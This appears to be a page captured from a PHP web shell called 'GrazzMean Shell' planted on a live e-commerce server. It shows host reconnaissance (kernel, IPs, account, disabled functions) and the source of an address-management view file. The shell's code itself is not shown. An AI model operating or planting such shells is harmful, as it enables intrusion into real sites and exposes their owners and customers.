shell bypass 403

GrazzMean Shell

Uname: Linux server.thebazaar99.com 5.14.0-687.17.1.el9_8.x86_64 #1 SMP PREEMPT_DYNAMIC Mon Jun 22 07:21:26 EDT 2026 x86_64
Software: Apache
PHP version: 8.3.32 [ PHP INFO ] PHP os: Linux
Server Ip: 163.227.92.254
Your Ip: 216.73.217.24
User: gutlooks (1003) | Group: gutlooks (1005)
Safe Mode: OFF
Disable Function:
exec,passthru,shell_exec,system

name : manage-address.php
<?php $this->load->view('home/header');?>
<section class="user-dashboard">
    <div class="container-lg">
        <div class="row g-3 g-xl-4 tab-wrap">
            <div class="col-lg-4 col-xl-3 sticky">
                <?php $this->load->view('home/sidebar');?>
            </div>
            <div class="col-lg-8 col-xl-9">
                   <div class="right-content tab-content" id="myTabContent">
                <!-- User Dashboard Start -->
                    <div class="tab-pane show active" id="dashboard" role="tabpanel" aria-labelledby="dashboard-tab">
                      <div class="dashboard-tab">
                           <div class="profile">
                            <div class="title-box3">
                              <h3>Change Password</h3>
                            </div>
                             <div class="right-account-header">
                              <h3>My Addresses</h3>
                            <?=$this->session->flashdata('success_msg')?>   
                           </div>

                          <?php
                          if($del_address==true){
                            foreach($del_address as $row)?> 
                           <div class="addres-up" id="row25">
                              <h4><?=$row->full_name." ".$row->mobile?>
                                  <a href="<?=base_url('home/add_address')?>" class="edit-addres text-info"><i class="fa fa-pencil"></i> Edit</a>
                                 <a onclick="return confirm('Are you sure?')" href="<?=base_url('home/delete_address/'.base64_encode($row->id))?>" class="edit-addres text-danger remove-address"><i class="fa fa-trash"></i> Delete</a>
                              </h4>
                              <p><?=$row->address.", ".$row->state.", ".$row->state.", India, ".$row->pincode?> </p>
                              <p>Landmark - <?=$row->landmark?></p>
                              <button class="btn btn-default-add active">Deliver Here</button>
                           </div>
                          <?php }else{?>
                            <div class="account-user-right">
                              <div class="add-address">
                                 <a href="<?=base_url('home/add_address')?>" class="address-btn btn btn-info"><i class="fa fa-plus"></i> Add New Address</a>
                              </div>
                           </div>
                          <?php }?> 
                        </div>
                        </div>
                    </div>
                </div>
               
            </div>
        </div>
    </div>
</section>

    
    <?php $this->load->view('home/footer');?>
  
© 2026 GrazzMean